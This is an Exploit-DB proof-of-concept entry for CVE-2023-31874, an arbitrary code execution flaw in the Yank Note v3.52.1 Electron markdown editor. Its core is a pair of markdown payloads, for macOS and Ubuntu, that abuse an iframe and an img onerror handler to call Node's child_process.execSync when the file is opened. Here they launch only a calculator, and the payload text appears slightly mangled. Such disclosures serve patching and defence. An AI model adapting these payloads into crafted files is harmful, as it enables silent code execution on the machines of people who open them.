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[local] Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
source link: https://www.exploit-db.com/exploits/51470
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Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
Exploit:
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# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
# Date: 2023-04-27
# Exploit Author: 8bitsec
# CVE: CVE-2023-31874
# Vendor Homepage: yank-note.com
# Software Link: https://github.com/purocean/yn
# Version: 3.52.1
# Tested on: [Ubuntu 22.04 | Mac OS 13]
Release Date: 2023-04-27
Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement
Technical Details & Description:
A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.
Proof of Concept (PoC):
Arbitrary code execution:
Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">
Ubuntu:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">
Opening the file in Yank Note will auto execute the Calculator application.
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